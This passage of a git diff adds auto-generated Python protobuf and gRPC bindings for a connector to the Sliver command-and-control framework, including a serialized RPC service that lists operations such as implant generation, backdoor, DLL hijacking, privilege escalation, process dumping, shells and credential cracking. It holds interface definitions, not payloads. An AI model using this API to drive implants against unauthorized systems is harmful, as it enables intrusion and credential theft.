+ _DLLHIJACK._serialized_end=8823
+ _BACKDOORREQ._serialized_start=8825
+ _BACKDOORREQ._serialized_end=8913
+ _BACKDOOR._serialized_start=8915
+ _BACKDOOR._serialized_end=8963
+ _SHELLCODEENCODEREQ._serialized_start=8966
+ _SHELLCODEENCODEREQ._serialized_end=9141
+ _SHELLCODEENCODE._serialized_start=9143
+ _SHELLCODEENCODE._serialized_end=9212
+ _SHELLCODEENCODERMAP._serialized_start=9215
+ _SHELLCODEENCODERMAP._serialized_end=9376
+ _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_start=9301
+ _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_end=9376
+ _EXTERNALGENERATEREQ._serialized_start=9378
+ _EXTERNALGENERATEREQ._serialized_end=9461
+ _BUILDERS._serialized_start=9463
+ _BUILDERS._serialized_end=9510
+ _BUILDER._serialized_start=9513
+ _BUILDER._serialized_end=9699
+ _CREDENTIAL._serialized_start=9702
+ _CREDENTIAL._serialized_end=9878
+ _CREDENTIALS._serialized_start=9880
+ _CREDENTIALS._serialized_end=9936
+ _CRACKSTATIONS._serialized_start=9938
+ _CRACKSTATIONS._serialized_end=10000
+ _CRACKSTATIONSTATUS._serialized_start=10003
+ _CRACKSTATIONSTATUS._serialized_end=10178
+ _CRACKSYNCSTATUS._serialized_start=10181
+ _CRACKSYNCSTATUS._serialized_end=10321
+ _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_start=10274
+ _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_end=10321
+ _CRACKBENCHMARK._serialized_start=10324
+ _CRACKBENCHMARK._serialized_end=10485
+ _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_start=10436
+ _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_end=10485
+ _CRACKTASK._serialized_start=10488
+ _CRACKTASK._serialized_end=10642
+ _CRACKSTATION._serialized_start=10645
+ _CRACKSTATION._serialized_end=11024
+ _CRACKSTATION_BENCHMARKSENTRY._serialized_start=10436
+ _CRACKSTATION_BENCHMARKSENTRY._serialized_end=10485
+ _CUDABACKENDINFO._serialized_start=11027
+ _CUDABACKENDINFO._serialized_end=11220
+ _OPENCLBACKENDINFO._serialized_start=11223
+ _OPENCLBACKENDINFO._serialized_end=11449
+ _METALBACKENDINFO._serialized_start=11452
+ _METALBACKENDINFO._serialized_end=11647
+ _CRACKCOMMAND._serialized_start=11650
+ _CRACKCOMMAND._serialized_end=14093
+ _CRACKCONFIG._serialized_start=14095
+ _CRACKCONFIG._serialized_end=14188
+ _CRACKFILES._serialized_start=14190
+ _CRACKFILES._serialized_end=14286
+ _CRACKFILE._serialized_start=14289
+ _CRACKFILE._serialized_end=14554
+ _CRACKFILECHUNK._serialized_start=14556
+ _CRACKFILECHUNK._serialized_end=14630
+# @@protoc_insertion_point(module_scope)
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py
new file mode 100644
index 0000000..2daafff
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/clientpb/client_pb2_grpc.py
@@ -0,0 +1,4 @@
+# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
+"""Client and server classes corresponding to protobuf-defined services."""
+import grpc
+
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py
new file mode 100644
index 0000000..8ed8278
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2.py
@@ -0,0 +1,36 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: commonpb/common.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x15\x63ommonpb/common.proto\x12\x08\x63ommonpb\"\x07\n\x05\x45mpty\"N\n\x07Request\x12\r\n\x05\x41sync\x18\x01 \x01(\x08\x12\x0f\n\x07Timeout\x18\x02 \x01(\x03\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x08 \x01(\t\x12\x11\n\tSessionID\x18\t \x01(\t\"H\n\x08Response\x12\x0b\n\x03\x45rr\x18\x01 \x01(\t\x12\r\n\x05\x41sync\x18\x02 \x01(\x08\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x08 \x01(\t\x12\x0e\n\x06TaskID\x18\t \x01(\t\"\"\n\x04\x46ile\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\"\x81\x01\n\x07Process\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\x0c\n\x04Ppid\x18\x02 \x01(\x05\x12\x12\n\nExecutable\x18\x03 \x01(\t\x12\r\n\x05Owner\x18\x04 \x01(\t\x12\x14\n\x0c\x41rchitecture\x18\x07 \x01(\t\x12\x11\n\tSessionID\x18\x05 \x01(\x05\x12\x0f\n\x07\x43mdLine\x18\x06 \x03(\t\"$\n\x06\x45nvVar\x12\x0b\n\x03Key\x18\x01 \x01(\t\x12\r\n\x05Value\x18\x02 \x01(\tB/Z-github.com/bishopfox/sliver/protobuf/commonpbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'commonpb.common_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/commonpb'
+ _EMPTY._serialized_start=35
+ _EMPTY._serialized_end=42
+ _REQUEST._serialized_start=44
+ _REQUEST._serialized_end=122
+ _RESPONSE._serialized_start=124
+ _RESPONSE._serialized_end=196
+ _FILE._serialized_start=198
+ _FILE._serialized_end=232
+ _PROCESS._serialized_start=235
+ _PROCESS._serialized_end=364
+ _ENVVAR._serialized_start=366
+ _ENVVAR._serialized_end=402
+# @@protoc_insertion_point(module_scope)
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py
new file mode 100644
index 0000000..2daafff
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/commonpb/common_pb2_grpc.py
@@ -0,0 +1,4 @@
+# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
+"""Client and server classes corresponding to protobuf-defined services."""
+import grpc
+
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py
new file mode 100644
index 0000000..dc01b08
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2.py
@@ -0,0 +1,28 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: dnspb/dns.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x0f\x64nspb/dns.proto\x12\x05\x64nspb\"v\n\nDNSMessage\x12#\n\x04Type\x18\x01 \x01(\x0e\x32\x15.dnspb.DNSMessageType\x12\n\n\x02ID\x18\x02 \x01(\r\x12\r\n\x05Start\x18\x03 \x01(\r\x12\x0c\n\x04Stop\x18\x04 \x01(\r\x12\x0c\n\x04Size\x18\x05 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x06 \x01(\x0c*\x87\x01\n\x0e\x44NSMessageType\x12\x07\n\x03NOP\x10\x00\x12\x08\n\x04TOTP\x10\x01\x12\x08\n\x04INIT\x10\x02\x12\x08\n\x04POLL\x10\x03\x12\t\n\x05\x43LOSE\x10\x04\x12\x0c\n\x08MANIFEST\x10\x06\x12\x13\n\x0f\x44\x41TA_TO_IMPLANT\x10\x07\x12\x15\n\x11\x44\x41TA_FROM_IMPLANT\x10\x08\x12\t\n\x05\x43LEAR\x10\tB,Z*github.com/bishopfox/sliver/protobuf/dnspbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'dnspb.dns_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z*github.com/bishopfox/sliver/protobuf/dnspb'
+ _DNSMESSAGETYPE._serialized_start=147
+ _DNSMESSAGETYPE._serialized_end=282
+ _DNSMESSAGE._serialized_start=26
+ _DNSMESSAGE._serialized_end=144
+# @@protoc_insertion_point(module_scope)
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py
new file mode 100644
index 0000000..2daafff
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/dnspb/dns_pb2_grpc.py
@@ -0,0 +1,4 @@
+# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
+"""Client and server classes corresponding to protobuf-defined services."""
+import grpc
+
diff --git a/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py
new file mode 100644
index 0000000..f98a1c0
--- /dev/null
+++ b/cmd/connectors/sliver-connector/sliver_service/pb/rpcpb/services_pb2.py
@@ -0,0 +1,29 @@
+# -*- coding: utf-8 -*-
+# Generated by the protocol buffer compiler. DO NOT EDIT!
+# source: rpcpb/services.proto
+"""Generated protocol buffer code."""
+from google.protobuf.internal import builder as _builder
+from google.protobuf import descriptor as _descriptor
+from google.protobuf import descriptor_pool as _descriptor_pool
+from google.protobuf import symbol_database as _symbol_database
+# @@protoc_insertion_point(imports)
+
+_sym_db = _symbol_database.Default()
+
+
+from sliver_service.pb.commonpb import common_pb2 as commonpb_dot_common__pb2
+from sliver_service.pb.sliverpb import sliver_pb2 as sliverpb_dot_sliver__pb2
+from sliver_service.pb.clientpb import client_pb2 as clientpb_dot_client__pb2
+
+
+DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\x14rpcpb/services.proto\x12\x05rpcpb\x1a\x15\x63ommonpb/common.proto\x1a\x15sliverpb/sliver.proto\x1a\x15\x63lientpb/client.proto2\x85N\n\tSliverRPC\x12\x30\n\nGetVersion\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Version\x12\x45\n\x10\x43lientConsoleLog\x12\x1e.clientpb.ClientConsoleLogData\x1a\x0f.commonpb.Empty(\x01\x12\x34\n\x0cGetOperators\x12\x0f.commonpb.Empty\x1a\x13.clientpb.Operators\x12*\n\x04Kill\x12\x11.sliverpb.KillReq\x1a\x0f.commonpb.Empty\x12>\n\x0bReconfigure\x12\x18.sliverpb.ReconfigureReq\x1a\x15.sliverpb.Reconfigure\x12.\n\x06Rename\x12\x13.clientpb.RenameReq\x1a\x0f.commonpb.Empty\x12\x32\n\x0bGetSessions\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Sessions\x12\x30\n\nGetBeacons\x12\x0f.commonpb.Empty\x1a\x11.clientpb.Beacons\x12/\n\tGetBeacon\x12\x10.clientpb.Beacon\x1a\x10.clientpb.Beacon\x12-\n\x08RmBeacon\x12\x10.clientpb.Beacon\x1a\x0f.commonpb.Empty\x12\x39\n\x0eGetBeaconTasks\x12\x10.clientpb.Beacon\x1a\x15.clientpb.BeaconTasks\x12\x42\n\x14GetBeaconTaskContent\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12>\n\x10\x43\x61ncelBeaconTask\x12\x14.clientpb.BeaconTask\x1a\x14.clientpb.BeaconTask\x12\x33\n\x0cMonitorStart\x12\x0f.commonpb.Empty\x1a\x12.commonpb.Response\x12/\n\x0bMonitorStop\x12\x0f.commonpb.Empty\x1a\x0f.commonpb.Empty\x12*\n\x07GetJobs\x12\x0f.commonpb.Empty\x1a\x0e.clientpb.Jobs\x12\x32\n\x07KillJob\x12\x14.clientpb.KillJobReq\x1a\x11.clientpb.KillJob\x12\x46\n\x11StartMTLSListener\x12\x19.clientpb.MTLSListenerReq\x1a\x16.clientpb.MTLSListener\x12@\n\x0fStartWGListener\x12\x17.clientpb.WGListenerReq\x1a\x14.clientpb.WGListener\x12\x43\n\x10StartDNSListener\x12\x18.clientpb.DNSListenerReq\x1a\x15.clientpb.DNSListener\x12G\n\x12StartHTTPSListener\x12\x19.clientpb.HTTPListenerReq\x1a\x16.clientpb.HTTPListener\x12\x46\n\x11StartHTTPListener\x12\x19.clientpb.HTTPListenerReq\x1a\x16.clientpb.HTTPListener\x12O\n\x16StartTCPStagerListener\x12\x1b.clientpb.StagerListenerReq\x1a\x18.clientpb.StagerListener\x12P\n\x17StartHTTPStagerListener\x12\x1b.clientpb.StagerListenerReq\x1a\x18.clientpb.StagerListener\x12)\n\x07LootAdd\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12)\n\x06LootRm\x12\x0e.clientpb.Loot\x1a\x0f.commonpb.Empty\x12,\n\nLootUpdate\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n\x0bLootContent\x12\x0e.clientpb.Loot\x1a\x0e.clientpb.Loot\x12-\n\x07LootAll\x12\x0f.commonpb.Empty\x1a\x11.clientpb.AllLoot\x12/\n\x05\x43reds\x12\x0f.commonpb.Empty\x1a\x15.clientpb.Credentials\x12\x32\n\x08\x43redsAdd\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x31\n\x07\x43redsRm\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x35\n\x0b\x43redsUpdate\x12\x15.clientpb.Credentials\x1a\x0f.commonpb.Empty\x12\x39\n\x0bGetCredByID\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12\x41\n\x12GetCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12J\n\x1bGetPlaintextCredsByHashType\x12\x14.clientpb.Credential\x1a\x15.clientpb.Credentials\x12@\n\x12\x43redsSniffHashType\x12\x14.clientpb.Credential\x1a\x14.clientpb.Credential\x12,\n\x05Hosts\x12\x0f.commonpb.Empty\x1a\x12.clientpb.AllHosts\x12&\n\x04Host\x12\x0e.clientpb.Host\x1a\x0e.clientpb.Host\x12)\n\x06HostRm\x12\x0e.clientpb.Host\x1a\x0f.commonpb.Empty\x12+\n\tHostIOCRm\x12\r.clientpb.IOC\x1a\x0f.commonpb.Empty\x12\x35\n\x08Generate\x12\x15.clientpb.GenerateReq\x1a\x12.clientpb.Generate\x12R\n\x10GenerateExternal\x12\x1d.clientpb.ExternalGenerateReq\x1a\x1f.clientpb.ExternalImplantConfig\x12M\n\x19GenerateExternalSaveBuild\x12\x1f.clientpb.ExternalImplantBinary\x1a\x0f.commonpb.Empty\x12\\\n GenerateExternalGetImplantConfig\x12\x17.clientpb.ImplantConfig\x1a\x1f.clientpb.ExternalImplantConfig\x12\x37\n\x0f\x42uilderRegister\x12\x11.clientpb.Builder\x1a\x0f.clientpb.Event0\x01\x12\x32\n\x0e\x42uilderTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12/\n\x08\x42uilders\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Builders\x12\x41\n\x14\x43rackstationRegister\x12\x16.clientpb.Crackstation\x1a\x0f.clientpb.Event0\x01\x12\x37\n\x13\x43rackstationTrigger\x12\x0f.clientpb.Event\x1a\x0f.commonpb.Empty\x12\x42\n\x15\x43rackstationBenchmark\x12\x18.clientpb.CrackBenchmark\x1a\x0f.commonpb.Empty\x12\x39\n\rCrackstations\x12\x0f.commonpb.Empty\x1a\x17.clientpb.Crackstations\x12\x39\n\rCrackTaskByID\x12\x13.clientpb.CrackTask\x1a\x13.clientpb.CrackTask\x12\x37\n\x0f\x43rackTaskUpdate\x12\x13.clientpb.CrackTask\x1a\x0f.commonpb.Empty\x12;\n\x0e\x43rackFilesList\x12\x13.clientpb.CrackFile\x1a\x14.clientpb.CrackFiles\x12;\n\x0f\x43rackFileCreate\x12\x13.clientpb.CrackFile\x1a\x13.clientpb.CrackFile\x12\x41\n\x14\x43rackFileChunkUpload\x12\x18.clientpb.CrackFileChunk\x1a\x0f.commonpb.Empty\x12L\n\x16\x43rackFileChunkDownload\x12\x18.clientpb.CrackFileChunk\x1a\x18.clientpb.CrackFileChunk\x12\x39\n\x11\x43rackFileComplete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x12\x37\n\x0f\x43rackFileDelete\x12\x13.clientpb.CrackFile\x1a\x0f.commonpb.Empty\x12\x39\n\nRegenerate\x12\x17.clientpb.RegenerateReq\x1a\x12.clientpb.Generate\x12\x39\n\rImplantBuilds\x12\x0f.commonpb.Empty\x1a\x17.clientpb.ImplantBuilds\x12:\n\x12\x44\x65leteImplantBuild\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12/\n\x08\x43\x61naries\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Canaries\x12\x43\n\x16GenerateWGClientConfig\x12\x0f.commonpb.Empty\x1a\x18.clientpb.WGClientConfig\x12\x39\n\x10GenerateUniqueIP\x12\x0f.commonpb.Empty\x1a\x14.clientpb.UniqueWGIP\x12=\n\x0fImplantProfiles\x12\x0f.commonpb.Empty\x1a\x19.clientpb.ImplantProfiles\x12<\n\x14\x44\x65leteImplantProfile\x12\x13.clientpb.DeleteReq\x1a\x0f.commonpb.Empty\x12H\n\x12SaveImplantProfile\x12\x18.clientpb.ImplantProfile\x1a\x18.clientpb.ImplantProfile\x12\x37\n\x08MsfStage\x12\x16.clientpb.MsfStagerReq\x1a\x13.clientpb.MsfStager\x12\x41\n\x0cShellcodeRDI\x12\x19.clientpb.ShellcodeRDIReq\x1a\x16.clientpb.ShellcodeRDI\x12\x32\n\x0bGetCompiler\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Compiler\x12K\n\x10ShellcodeEncoder\x12\x1c.clientpb.ShellcodeEncodeReq\x1a\x19.clientpb.ShellcodeEncode\x12\x45\n\x13ShellcodeEncoderMap\x12\x0f.commonpb.Empty\x1a\x1d.clientpb.ShellcodeEncoderMap\x12\x41\n\x11TrafficEncoderMap\x12\x0f.commonpb.Empty\x1a\x1b.clientpb.TrafficEncoderMap\x12L\n\x11TrafficEncoderAdd\x12\x18.clientpb.TrafficEncoder\x1a\x1d.clientpb.TrafficEncoderTests\x12=\n\x10TrafficEncoderRm\x12\x18.clientpb.TrafficEncoder\x1a\x0f.commonpb.Empty\x12/\n\x08Websites\x12\x0f.commonpb.Empty\x1a\x12.clientpb.Websites\x12/\n\x07Website\x12\x11.clientpb.Website\x1a\x11.clientpb.Website\x12\x33\n\rWebsiteRemove\x12\x11.clientpb.Website\x1a\x0f.commonpb.Empty\x12\x43\n\x11WebsiteAddContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12\x46\n\x14WebsiteUpdateContent\x12\x1b.clientpb.WebsiteAddContent\x1a\x11.clientpb.Website\x12I\n\x14WebsiteRemoveContent\x12\x1e.clientpb.WebsiteRemoveContent\x1a\x11.clientpb.Website\x12&\n\x04Ping\x12\x0e.sliverpb.Ping\x1a\x0e.sliverpb.Ping\x12#\n\x02Ps\x12\x0f.sliverpb.PsReq\x1a\x0c.sliverpb.Ps\x12\x38\n\tTerminate\x12\x16.sliverpb.TerminateReq\x1a\x13.sliverpb.Terminate\x12\x35\n\x08Ifconfig\x12\x15.sliverpb.IfconfigReq\x1a\x12.sliverpb.Ifconfig\x12\x32\n\x07Netstat\x12\x14.sliverpb.NetstatReq\x1a\x11.sliverpb.Netstat\x12#\n\x02Ls\x12\x0f.sliverpb.LsReq\x1a\x0c.sliverpb.Ls\x12$\n\x02\x43\x64\x12\x0f.sliverpb.CdReq\x1a\r.sliverpb.Pwd\x12&\n\x03Pwd\x12\x10.sliverpb.PwdReq\x1a\r.sliverpb.Pwd\x12#\n\x02Mv\x12\x0f.sliverpb.MvReq\x1a\x0c.sliverpb.Mv\x12#\n\x02Rm\x12\x0f.sliverpb.RmReq\x1a\x0c.sliverpb.Rm\x12,\n\x05Mkdir\x12\x12.sliverpb.MkdirReq\x1a\x0f.sliverpb.Mkdir\x12\x35\n\x08\x44ownload\x12\x15.sliverpb.DownloadReq\x1a\x12.sliverpb.Download\x12/\n\x06Upload\x12\x13.sliverpb.UploadReq\x1a\x10.sliverpb.Upload\x12,\n\x05\x43hmod\x12\x12.sliverpb.ChmodReq\x1a\x0f.sliverpb.Chmod\x12,\n\x05\x43hown\x12\x12.sliverpb.ChownReq\x1a\x0f.sliverpb.Chown\x12\x32\n\x07\x43htimes\x12\x14.sliverpb.ChtimesReq\x1a\x11.sliverpb.Chtimes\x12\x37\n\x0cMemfilesList\x12\x19.sliverpb.MemfilesListReq\x1a\x0c.sliverpb.Ls\x12>\n\x0bMemfilesAdd\x12\x18.sliverpb.MemfilesAddReq\x1a\x15.sliverpb.MemfilesAdd\x12;\n\nMemfilesRm\x12\x17.sliverpb.MemfilesRmReq\x1a\x14.sliverpb.MemfilesRm\x12>\n\x0bProcessDump\x12\x18.sliverpb.ProcessDumpReq\x1a\x15.sliverpb.ProcessDump\x12,\n\x05RunAs\x12\x12.sliverpb.RunAsReq\x1a\x0f.sliverpb.RunAs\x12>\n\x0bImpersonate\x12\x18.sliverpb.ImpersonateReq\x1a\x15.sliverpb.Impersonate\x12\x38\n\tRevToSelf\x12\x16.sliverpb.RevToSelfReq\x1a\x13.sliverpb.RevToSelf\x12\x38\n\tGetSystem\x12\x16.clientpb.GetSystemReq\x1a\x13.sliverpb.GetSystem\x12)\n\x04Task\x12\x11.sliverpb.TaskReq\x1a\x0e.sliverpb.Task\x12\'\n\x03Msf\x12\x10.clientpb.MSFReq\x1a\x0e.sliverpb.Task\x12\x33\n\tMsfRemote\x12\x16.clientpb.MSFRemoteReq\x1a\x0e.sliverpb.Task\x12J\n\x0f\x45xecuteAssembly\x12\x1c.sliverpb.ExecuteAssemblyReq\x1a\x19.sliverpb.ExecuteAssembly\x12\x32\n\x07Migrate\x12\x14.clientpb.MigrateReq\x1a\x11.sliverpb.Migrate\x12\x32\n\x07\x45xecute\x12\x14.sliverpb.ExecuteReq\x1a\x11.sliverpb.Execute\x12@\n\x0e\x45xecuteWindows\x12\x1b.sliverpb.ExecuteWindowsReq\x1a\x11.sliverpb.Execute\x12\x35\n\x08Sideload\x12\x15.sliverpb.SideloadReq\x1a\x12.sliverpb.Sideload\x12;\n\x08SpawnDll\x12\x1b.sliverpb.InvokeSpawnDllReq\x1a\x12.sliverpb.SpawnDll\x12;\n\nScreenshot\x12\x17.sliverpb.ScreenshotReq\x1a\x14.sliverpb.Screenshot\x12P\n\x11\x43urrentTokenOwner\x12\x1e.sliverpb.CurrentTokenOwnerReq\x1a\x1b.sliverpb.CurrentTokenOwner\x12N\n\x12PivotStartListener\x12\x1f.sliverpb.PivotStartListenerReq\x1a\x17.sliverpb.PivotListener\x12\x44\n\x11PivotStopListener\x12\x1e.sliverpb.PivotStopListenerReq\x1a\x0f.commonpb.Empty\x12N\n\x15PivotSessionListeners\x12\x1b.sliverpb.PivotListenersReq\x1a\x18.sliverpb.PivotListeners\x12\x33\n\nPivotGraph\x12\x0f.commonpb.Empty\x1a\x14.clientpb.PivotGraph\x12@\n\x0cStartService\x12\x19.sliverpb.StartServiceReq\x1a\x15.sliverpb.ServiceInfo\x12>\n\x0bStopService\x12\x18.sliverpb.StopServiceReq\x1a\x15.sliverpb.ServiceInfo\x12\x42\n\rRemoveService\x12\x1a.sliverpb.RemoveServiceReq\x1a\x15.sliverpb.ServiceInfo\x12\x38\n\tMakeToken\x12\x16.sliverpb.MakeTokenReq\x1a\x13.sliverpb.MakeToken\x12-\n\x06GetEnv\x12\x10.sliverpb.EnvReq\x1a\x11.sliverpb.EnvInfo\x12/\n\x06SetEnv\x12\x13.sliverpb.SetEnvReq\x1a\x10.sliverpb.SetEnv\x12\x35\n\x08UnsetEnv\x12\x15.sliverpb.UnsetEnvReq\x1a\x12.sliverpb.UnsetEnv\x12\x35\n\x08\x42\x61\x63kdoor\x12\x15.clientpb.BackdoorReq\x1a\x12.clientpb.Backdoor\x12\x41\n\x0cRegistryRead\x12\x19.sliverpb.RegistryReadReq\x1a\x16.sliverpb.RegistryRead\x12\x44\n\rRegistryWrite\x12\x1a.sliverpb.RegistryWriteReq\x1a\x17.sliverpb.RegistryWrite\x12P\n\x11RegistryCreateKey\x12\x1e.sliverpb.RegistryCreateKeyReq\x1a\x1b.sliverpb.RegistryCreateKey\x12P\n\x11RegistryDeleteKey\x12\x1e.sliverpb.RegistryDeleteKeyReq\x1a\x1b.sliverpb.RegistryDeleteKey\x12T\n\x13RegistryListSubKeys\x12\x1f.sliverpb.RegistrySubKeyListReq\x1a\x1c.sliverpb.RegistrySubKeyList\x12S\n\x12RegistryListValues\x12\x1f.sliverpb.RegistryListValuesReq\x1a\x1c.sliverpb.RegistryValuesList\x12>\n\rRunSSHCommand\x12\x17.sliverpb.SSHCommandReq\x1a\x14.sliverpb.SSHCommand\x12\x38\n\tHijackDLL\x12\x16.clientpb.DllHijackReq\x1a\x13.clientpb.DllHijack\x12\x35\n\x08GetPrivs\x12\x15.sliverpb.GetPrivsReq\x1a\x12.sliverpb.GetPrivs\x12W\n\x15StartRportFwdListener\x12\".sliverpb.RportFwdStartListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12S\n\x14GetRportFwdListeners\x12\x1e.sliverpb.RportFwdListenersReq\x1a\x1b.sliverpb.RportFwdListeners\x12U\n\x14StopRportFwdListener\x12!.sliverpb.RportFwdStopListenerReq\x1a\x1a.sliverpb.RportFwdListener\x12;\n\x0bOpenSession\x12\x15.sliverpb.OpenSession\x1a\x15.sliverpb.OpenSession\x12\x37\n\x0c\x43loseSession\x12\x16.sliverpb.CloseSession\x1a\x0f.commonpb.Empty\x12P\n\x11RegisterExtension\x12\x1e.sliverpb.RegisterExtensionReq\x1a\x1b.sliverpb.RegisterExtension\x12\x44\n\rCallExtension\x12\x1a.sliverpb.CallExtensionReq\x1a\x17.sliverpb.CallExtension\x12G\n\x0eListExtensions\x12\x1b.sliverpb.ListExtensionsReq\x1a\x18.sliverpb.ListExtensions\x12\\\n\x15RegisterWasmExtension\x12\".sliverpb.RegisterWasmExtensionReq\x1a\x1f.sliverpb.RegisterWasmExtension\x12S\n\x12ListWasmExtensions\x12\x1f.sliverpb.ListWasmExtensionsReq\x1a\x1c.sliverpb.ListWasmExtensions\x12P\n\x11\x45xecWasmExtension\x12\x1e.sliverpb.ExecWasmExtensionReq\x1a\x1b.sliverpb.ExecWasmExtension\x12N\n\x12WGStartPortForward\x12\x1f.sliverpb.WGPortForwardStartReq\x1a\x17.sliverpb.WGPortForward\x12L\n\x11WGStopPortForward\x12\x1e.sliverpb.WGPortForwardStopReq\x1a\x17.sliverpb.WGPortForward\x12<\n\x0cWGStartSocks\x12\x19.sliverpb.WGSocksStartReq\x1a\x11.sliverpb.WGSocks\x12:\n\x0bWGStopSocks\x12\x18.sliverpb.WGSocksStopReq\x1a\x11.sliverpb.WGSocks\x12K\n\x10WGListForwarders\x12\x1c.sliverpb.WGTCPForwardersReq\x1a\x19.sliverpb.WGTCPForwarders\x12K\n\x12WGListSocksServers\x12\x1b.sliverpb.WGSocksServersReq\x1a\x18.sliverpb.WGSocksServers\x12,\n\x05Shell\x12\x12.sliverpb.ShellReq\x1a\x0f.sliverpb.Shell\x12\x32\n\x07Portfwd\x12\x14.sliverpb.PortfwdReq\x1a\x11.sliverpb.Portfwd\x12/\n\x0b\x43reateSocks\x12\x0f.sliverpb.Socks\x1a\x0f.sliverpb.Socks\x12.\n\nCloseSocks\x12\x0f.sliverpb.Socks\x1a\x0f.commonpb.Empty\x12:\n\nSocksProxy\x12\x13.sliverpb.SocksData\x1a\x13.sliverpb.SocksData(\x01\x30\x01\x12\x32\n\x0c\x43reateTunnel\x12\x10.sliverpb.Tunnel\x1a\x10.sliverpb.Tunnel\x12\x30\n\x0b\x43loseTunnel\x12\x10.sliverpb.Tunnel\x1a\x0f.commonpb.Empty\x12<\n\nTunnelData\x12\x14.sliverpb.TunnelData\x1a\x14.sliverpb.TunnelData(\x01\x30\x01\x12,\n\x06\x45vents\x12\x0f.commonpb.Empty\x1a\x0f.clientpb.Event0\x01\x42,Z*github.com/bishopfox/sliver/protobuf/rpcpbb\x06proto3')
+
+_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals())
+_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'rpcpb.services_pb2', globals())
+if _descriptor._USE_C_DESCRIPTORS == False:
+
+ DESCRIPTOR._options = None
+ DESCRIPTOR._serialized_options = b'Z*github.com/bishopfox/sliver/protobuf/rpcpb'
+ _SLIVERRPC._serialized_start=101
+ _SLIVERRPC._serialized_end=10090
+# @@protoc_insertion_point(module_scope)
